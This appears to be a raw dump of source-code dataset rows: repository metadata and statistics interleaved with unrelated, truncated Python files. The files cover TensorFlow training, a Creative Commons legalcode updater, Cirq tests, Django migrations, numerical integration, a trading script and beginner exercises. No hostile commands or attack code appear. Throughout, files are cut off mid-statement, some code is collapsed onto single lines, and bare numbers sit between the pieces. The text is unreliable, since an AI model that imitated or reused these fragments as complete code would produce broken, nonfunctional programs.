import tensorflow as tf model = tf.keras.Sequential([ tf.keras.applications.resnet_v2.ResNet50V2(weights=None, input_shape=(32, 32, 3), include_top=False), tf.keras.layers.GlobalAveragePooling2D(), tf.keras.layers.Dense(1000, activation='softmax') ]) BATCH_SIZE = 16 train_loss = tf.keras...
30.923077
109
0.678394
import tensorflow as tf def map_func(example): feature_map = { 'data': tf.io.FixedLenFeature((), tf.string), 'label': tf.io.FixedLenFeature((), tf.int64) } parsed_example = tf.io.parse_single_example(example, features=feature_map) data = tf.io.decode_raw(parsed_example["data"], out_typ...
0
0
0
0
0
926
0
0
69
0e35cf32025ec33172656308b77700fee5a47089
19,391
py
Python
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
160
2015-02-24T04:28:38.000Z
2022-03-29T09:19:39.000Z
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
1,092
2015-01-16T05:27:10.000Z
2022-03-12T14:40:12.000Z
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
208
2015-04-08T23:50:07.000Z
2022-02-18T23:36:54.000Z
#!/usr/bin/env python3 # vim: set fileencoding=utf-8: """Normalize file and add/update the language list at the bottom of all CC4 legalcode files. """ # Copyright 2016, 2017 Creative Commons # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
32.699831
79
0.558816
#!/usr/bin/env python3 # vim: set fileencoding=utf-8: """Normalize file and add/update the language list at the bottom of all CC4 legalcode files. """ # Copyright 2016, 2017 Creative Commons # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
3
0
0
194
0
1,421
0
-17
113
1659984fe89ee0f6d1e2442e761be05cab634907
9,877
py
Python
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
1
2016-12-15T23:46:52.000Z
2016-12-15T23:46:52.000Z
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
3
2016-01-12T01:42:31.000Z
2016-03-28T23:31:53.000Z
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
4
2015-12-27T01:48:34.000Z
2019-10-19T03:42:51.000Z
import os, glob, shutil, traceback import PIL_Helper TYPE, TITLE, COLOR, VALUE, FLAVOR = range(5) DIRECTORY = "BaBOC" PAGE_WIDTH = 3 PAGE_HEIGHT = 3 TOTAL_CARDS = PAGE_WIDTH*PAGE_HEIGHT workspace_path = os.path.dirname("workspace") card_set = os.path.dirname("deck.cards") CardPath = "BaBOC/cards/" ResourcePath = "...
31.355556
115
0.61547
import os, glob, shutil, traceback import PIL_Helper TYPE, TITLE, COLOR, VALUE, FLAVOR = range(5) DIRECTORY = "BaBOC" PAGE_WIDTH = 3 PAGE_HEIGHT = 3 TOTAL_CARDS = PAGE_WIDTH*PAGE_HEIGHT workspace_path = os.path.dirname("workspace") card_set = os.path.dirname("deck.cards") CardPath = "BaBOC/cards/" ResourcePath = "...
0
0
0
0
0
6,555
0
0
488
13e7190058579ee80ddc8735dffc83dcdc2c0e93
2,278
py
Python
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
32.542857
80
0.709394
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
0
0
0
616
0
758
0
66
248
3216511217a7419f69af3a540b9e2c98ce0e9f5d
6,997
py
Python
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
''' x = [0, 10, 20, 30, 50] y1 = [50.8, 86.2, 136, 72.8, 51] y2 = [113.6, 144.5, 185, 171.2, 95.3] y = np.array(y2) - np.array(y1) y1 = Integrais(1, 1, 1, pts=(x[3:], y[3:])) print(y1.num_trapezio()) y2 = Integrais(1, 1, 1, pts=(x[:4], y[:4])) print(y2.num_13()) print(y1.num_trapezio() + y2.num_13()) ''' ...
27.547244
84
0.406031
import numpy as np from sympy import var, Lambda, exp, log, sin, cos, tan, sqrt, diff, solve class Integrais: def __init__(self, f, a, b, pts = None): if pts != None: self._x = np.array(pts[0]) self._y = np.array(pts[1]) self._f = f self._a = a self._b =...
10
0
0
6,538
0
0
0
49
67
869e38d468579df2ba8c55f0af1ee8a7afc262f2
4,819
py
Python
collectors/ictrp/parser.py
almeidaah/collectors
f03096855b8d702969d22af0b20a4d6a0d820bd0
[ "MIT" ]
17
2016-06-28T21:20:21.000Z
2022-03-02T16:31:25.000Z
collectors/ictrp/parser.py
almeidaah/collectors
f03096855b8d702969d22af0b20a4d6a0d820bd0
[ "MIT" ]
41
2016-04-04T10:36:45.000Z
2017-04-24T10:04:57.000Z
collectors/ictrp/parser.py
kenferrara/collectors
e6c1f45df3a1ffd5d60dada1816484812eb51417
[ "MIT" ]
25
2016-05-18T09:27:42.000Z
2021-03-21T14:44:31.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging logger = logging.getLogger(__name__) # Module API
29.746914
85
0.6547
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging from .record import Record logger = logging.getLogger(__name__) # Module API def parse_record(res): # Init data data = ...
0
0
0
0
0
4,528
0
5
45
a1ff2da13e62c4a90e32e2a9ed39b7230f558c0b
202
py
Python
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 8 15:00:56 2018 @author: gaurav """ w1 = '' word = '' for i in word: print(i) word[1] new = w1+word[1] print(new)
10.631579
35
0.554455
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 8 15:00:56 2018 @author: gaurav """ w1 = 'थव' word = 'का' for i in word: print(i) word[1] new = w1+word[1] print(new)
12
0
0
0
0
0
0
0
0
6d769175da2439302299d3a81478cd67e4bf846a
378
py
Python
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
1
2016-05-19T13:43:21.000Z
2016-05-19T13:43:21.000Z
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
1
2020-11-23T10:21:16.000Z
2020-11-23T10:25:16.000Z
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 import sys sys.path.append( "../lib" ) sys.path.append( "./lib" )
16.434783
47
0.650794
#!/usr/bin/python3 import sys,os,re sys.path.append( "../lib" ) sys.path.append( "./lib" ) from Controller.message import * from Controller.local import * import unittest from pprint import pprint class ConfigurationTest( unittest.TestCase ): def setUp( self ): self.configfile = "samples/conf...
0
0
0
149
0
0
0
24
114
49d5e5c65d15967900773fda7f1a0ca23a5a247b
995
py
Python
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
expected_output = { "SRTE_POL_1": { "name": "SRTE_POL_1", "color": 1, "end_point": "4.4.4.4", "owners": "CLI", "status": { "admin": "down", "operational": { "state": "down", "time_for_state": "00:00:06", ...
25.512821
53
0.277387
expected_output = { "SRTE_POL_1": { "name": "SRTE_POL_1", "color": 1, "end_point": "4.4.4.4", "owners": "CLI", "status": { "admin": "down", "operational": { "state": "down", "time_for_state": "00:00:06", ...
0
0
0
0
0
0
0
0
0
213e1a7b560720288d3f4be6cc46d4f9de5f1850
863
py
Python
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
# Generated by Django 2.2.26 on 2022-02-25 16:28
25.382353
57
0.453071
# Generated by Django 2.2.26 on 2022-02-25 16:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("home", "0002_listecategorie_utilisateurs"), ] operations = [ migrations.CreateModel( name="Listerole", fields=[ ...
0
0
0
748
0
0
0
19
46
886db9ab6347860b315a89e23cb0cf0ae25b479d
1,324
py
Python
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
9
2020-10-25T15:13:32.000Z
2022-03-26T11:27:21.000Z
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
null
null
null
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
7
2021-03-01T11:06:45.000Z
2022-03-14T07:06:04.000Z
# 171 # price_list = [32100, 32150, 32000, 32500] # for i in range(0, 4): # print(price_list[i]) # 172 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(i, price_list[i]) # 173 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(3-i, price_list[i]) # ...
21.704918
89
0.547583
# 171 # price_list = [32100, 32150, 32000, 32500] # for i in range(0, 4): # print(price_list[i]) # 172 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(i, price_list[i]) # 173 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(3-i, price_list[i]) # ...
39
0
0
0
0
0
0
0
0
cb878b00f7655e0a49ddfb46e48772d51f8e7621
1,424
py
Python
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
null
null
null
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
null
null
null
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
1
2020-03-05T18:54:38.000Z
2020-03-05T18:54:38.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<roy@binux.me> # http://binux.me # Created on 2015-04-05 00:05:58
25.890909
53
0.582865
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<roy@binux.me> # http://binux.me # Created on 2015-04-05 00:05:58 import sys import time import unittest2 as unittest from pyspider.libs import counter class TestCounter(unittest.TestCase): def t...
0
0
0
1,129
0
0
0
-2
113
238278b7afb620fcffaf96fa6cbd2410892d25c2
4,140
py
Python
xmlHandler.py
jaaack-wang/H-ELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
4
2021-08-30T18:03:39.000Z
2021-12-01T17:44:41.000Z
xmlHandler.py
jaaack-wang/HELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
null
null
null
xmlHandler.py
jaaack-wang/HELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
null
null
null
''' - Author: Zhengxiang (Jack) Wang - Date: 2021-08-25 - GitHub: https://github.com/jaaack-wang - About: Some handy wrapper functions for handling xml files. ''' from bs4 import BeautifulSoup as bs from lxml import etree from os.path import join def readXML(filepath): ''''Reads XML files as bs4.BeautifulSoup t...
38.333333
102
0.643478
''' - Author: Zhengxiang (Jack) Wang - Date: 2021-08-25 - GitHub: https://github.com/jaaack-wang - About: Some handy wrapper functions for handling xml files. ''' from bs4 import BeautifulSoup as bs from lxml import etree from os.path import join def readXML(filepath): ''''Reads XML files as bs4.BeautifulSoup t...
0
0
0
0
0
0
0
0
0
0c15523364add779eaadb9da7571afc00c3bf2c8
6,511
py
Python
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
1
2020-05-23T08:23:26.000Z
2020-05-23T08:23:26.000Z
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
null
null
null
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
33.389744
79
0.68008
# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
0
1,683
0
0
0
3,725
0
0
503
8630d1f66a042343684fe82c8330fd4f3240433e
1,652
py
Python
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
1
2020-03-05T19:21:56.000Z
2020-03-05T19:21:56.000Z
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
null
null
null
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
null
null
null
# Act of researching a technology or upgrade
36.711111
93
0.634988
from sc2 import UnitTypeId from sc2.ids.ability_id import AbilityId from .act_base import ActBase # Act of researching a technology or upgrade class ActMorphBuilding(ActBase): def __init__(self, ability_type: AbilityId, from_unit: UnitTypeId, to_unit: UnitTypeId): assert ability_type is not None...
0
0
971
506
0
0
0
32
93
43d160c0d3df156e0b8e475c7350eb90339082b5
4,916
py
Python
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
4
2015-09-04T19:37:06.000Z
2016-11-23T12:35:48.000Z
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
8
2015-10-29T20:02:26.000Z
2021-06-10T19:07:26.000Z
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
4
2015-09-06T22:35:46.000Z
2019-06-03T13:20:48.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals
33.442177
114
0.558584
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('data_api', '0021_remove_experiment_media_link'), ] operations = [ migrations.CreateModel( name='LocalSignalTag',...
0
0
0
4,786
0
0
0
19
46
d55919176abcd6f33efc71f270196f01d2e722de
636
py
Python
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
1
2021-10-17T04:28:31.000Z
2021-10-17T04:28:31.000Z
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
null
null
null
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
null
null
null
from rest_framework.routers import DefaultRouter from .views import (PerfilViewSet, EnderecoViewSet, TelefoneViewSet, OutroEmailViewSet, CargoViewSet, DepartamentoViewSet) router = DefaultRouter() router.register(r'perfis', PerfilViewSet, basename='perfil') router.register(r'enderecos', EnderecoViewSet, basename='end...
35.333333
79
0.789308
from rest_framework.routers import DefaultRouter from .views import ( PerfilViewSet, EnderecoViewSet, TelefoneViewSet, OutroEmailViewSet, CargoViewSet, DepartamentoViewSet ) router = DefaultRouter() router.register(r'perfis', PerfilViewSet, basename='perfil') router.register(r'enderecos', Ende...
0
0
0
0
0
0
0
26
0
f8a2dd270b85e548221820802800fbfb4dd416a9
42
py
Python
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
1
2021-07-18T17:30:20.000Z
2021-07-18T17:30:20.000Z
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
1
2020-03-11T00:46:34.000Z
2020-03-19T21:06:55.000Z
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
null
null
null
"""Unit test package for bettersocket."""
21
41
0.714286
"""Unit test package for bettersocket."""
0
0
0
0
0
0
0
0
0
589913937e216faf535f315157b5abd5e5bb1478
7,171
py
Python
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
import collections import numpy as np import matplotlib import matplotlib.gridspec import matplotlib.pyplot as plt from helper import load, mean8, cropsave, grendel_dir """ SUBTILE POPULATION N = 512, nprocs = 64. Two panels (left & right, spanning two cols). Left: Subtile population at z = 0 for various box sizes....
32.447964
112
0.683866
import collections import numpy as np import matplotlib import matplotlib.gridspec import matplotlib.pyplot as plt import scipy.optimize from helper import load, mean8, cropsave, grendel_dir """ SUBTILE POPULATION N = 512³, nprocs = 64. Two panels (left & right, spanning two cols). Left: Subtile population at z = 0...
2
0
0
0
0
0
0
0
22
a71f3a95d3ab73569da6d75bf36efccbdc6998a0
1,109
py
Python
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
# find the species that should be the outgroup based solely on DNA sequence data # given in "phylo seqs.txt". Assumes the sequences are already aligned. # # python 3.6 # Oct 21, 2017 from my_lib import load_list from pprint import pprint as pp seqs = load_list("phylo seqs2.txt") seqs[0] = seqs[0][1:] pp(...
21.745098
81
0.622182
# find the species that should be the outgroup based solely on DNA sequence data # given in "phylo seqs.txt". Assumes the sequences are already aligned. # # python 3.6 # Oct 21, 2017 from my_lib import load_list from pprint import pprint as pp seqs = load_list("phylo seqs2.txt") seqs[0] = seqs[0][1:] pp(...
0
0
0
0
0
194
0
0
25
6f9f5b3f9978bc78d24370b5f8a1ad6b41521466
274
py
Python
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import (scoped_session, sessionmaker) DBSession = scoped_session(sessionmaker()) Base = declarative_base()
22.833333
55
0.773723
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.orm import ( scoped_session, sessionmaker, relationship, backref ) DBSession = scoped_session(sessionmaker()) Base = declarative_base()
0
0
0
0
0
0
0
68
22
3e4520a78c0329a2479439fbe9f6c59cd5235415
1,974
py
Python
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
14
2015-05-20T16:07:17.000Z
2021-11-16T12:47:27.000Z
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
null
null
null
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
3
2015-10-19T11:06:01.000Z
2021-12-13T06:24:59.000Z
# -*- coding: utf-8 -*- bltn_open = open open_vault = SigVault.open
29.462687
73
0.579027
# -*- coding: utf-8 -*- import tarfile import os from tempfile import NamedTemporaryFile import librsync from dirtools import Dir class SigVaultWriter(object): def __init__(self, path, base_path): self.base_path = base_path self.archive = bltn_open(path, 'wb') self.tar = tarfile.open(fil...
0
273
0
1,452
0
0
0
-4
181
81cba6209ba95d57d48ac01dfadd09a0c56cf8c8
727
py
Python
slackcast/logger.py
rbdixon/slackcast
ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
null
null
null
slackcast/logger.py
rbdixon/slackcast
ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
1
2021-11-15T17:47:27.000Z
2021-11-15T17:47:27.000Z
slackcast/logger.py
rbdixon/slackcast
ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
null
null
null
import logging __all__ = ['SlackLogger'] log = logging.getLogger(__name__)
24.233333
70
0.69326
import attr import logging from .token import get_token from .caster import SlackCaster __all__ = ['SlackLogger'] log = logging.getLogger(__name__) @attr.s class SlackLogger(logging.Handler): channel = attr.ib(converter=str) token = attr.ib(default=None, converter=str) level = attr.ib(default=logging....
0
552
0
0
0
0
0
7
90
13653e5710cc10bf9861e75d3ecb18c13f442a6a
2,398
py
Python
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 ''' @author: caroline @license: (C) Copyright 2019-2022, Node Supply Chain Manager Corporation Limited. @contact: caroline.fang.cc@gmail.com @software: pycharm @file: Utils.py @time: 2019/12/23 10:56 @desc: ''' import xlrd import xlwt def get_real_value(value): """ xl...
26.065217
86
0.595079
#!/usr/bin/env python # encoding: utf-8 ''' @author: caroline @license: (C) Copyright 2019-2022, Node Supply Chain Manager Corporation Limited. @contact: caroline.fang.cc@gmail.com @software: pycharm @file: Utils.py @time: 2019/12/23 10:56 下午 @desc: ''' import xlrd import xlwt def get_real_value(value): """ ...
444
0
0
0
0
0
0
0
0
6d386ec389b2b19bd0be7bb842b66d4ccac71eab
2,765
py
Python
Examples/AlgoTradingImplementation/main.py
cstox/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
28
2021-05-22T16:34:43.000Z
2021-06-25T15:42:25.000Z
Examples/AlgoTradingImplementation/main.py
webclinic017/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
null
null
null
Examples/AlgoTradingImplementation/main.py
webclinic017/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
3
2021-07-17T12:36:55.000Z
2021-11-07T11:04:30.000Z
## Import The Modules import stox import pandas as pd stock_list = ['FB','AAPL','AMZN','NFLX','GOOG'] ## List Of Stocks You Would Want To Buy number_of_stocks = len(stock_list) print(number_of_stocks) x = 0 starting_cash = 10000 ## Amount Of Money In Trading Account current_cash = starting_cash percent_to_spend = 5 ...
35
88
0.58698
## Import The Modules import stox import pandas as pd stock_list = ['FB','AAPL','AMZN','NFLX','GOOG'] ## List Of Stocks You Would Want To Buy number_of_stocks = len(stock_list) print(number_of_stocks) x = 0 starting_cash = 10000 ## Amount Of Money In Trading Account current_cash = starting_cash percent_to_spend = 5 ...
0
0
0
0
0
612
0
0
46
27a39087f358ccf23673444f58568ef462c41bfe
172
py
Python
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
# Using Filter Func # It will filter numer which is less than zero number_list = range(-5, 5) less_than_zero = list(filter(lambda x:x<0, number_list)) print(less_than_zero)
34.4
56
0.767442
# Using Filter Func # It will filter numer which is less than zero number_list = range(-5, 5) less_than_zero = list(filter(lambda x:x<0, number_list)) print(less_than_zero)
0
0
0
0
0
0
0
0
0
c9129494d8aed10c7521499a06225dbb8654df76
545
py
Python
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
45
2019-02-13T14:16:35.000Z
2022-02-23T21:30:02.000Z
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
1
2020-01-13T08:29:50.000Z
2020-01-22T10:28:02.000Z
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
8
2019-04-23T14:25:08.000Z
2021-07-28T15:05:31.000Z
r"""Generate the physics of a hypothetical 2-D spherical world, and then generate seismic events and detections. Based on the codebase of: Nimar Arora https://github.com/nimar/seismic-2d/blob/master/generate.py """
24.772727
97
0.774312
r"""Generate the physics of a hypothetical 2-D spherical world, and then generate seismic events and detections. Based on the codebase of: Nimar Arora https://github.com/nimar/seismic-2d/blob/master/generate.py """ import hypothesis import numpy as np import torch from hypothesis.simulation import Simulator as BaseS...
0
0
0
191
0
0
0
23
113
721165b0f1ac518c77bc38bdfc7d174862f00b70
2,349
py
Python
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
#!/usr/bin/python3 lst = [1, 4, 6, 2, 7, 8, 9, 10, 4, 6, 1] print(lst) ########## Recherche d'un element ########### print("Looking for 6:") print(search_truth(6, lst)) print(search_id(6, lst)) print(search_pos(6, lst)) print(search_s(6, lst)) ############# Recherche d'un mot ############ print("Looking for [2, 7,...
19.739496
50
0.438059
#!/usr/bin/python3 from random import randint lst = [1, 4, 6, 2, 7, 8, 9, 10, 4, 6, 1] print(lst) ########## Recherche d'un element ########### def search_truth(x, a): for e in a: if e == x: return True return False def search_id(x, a): for i in range(len(a)): if x == a[i]: ...
0
0
0
0
0
1,523
0
5
226
9bc4984142b86b423771ca6fb2aa2916f0e83e40
1,816
py
Python
Products/CMFCore/namespace.py
fulv/Products.CMFCore
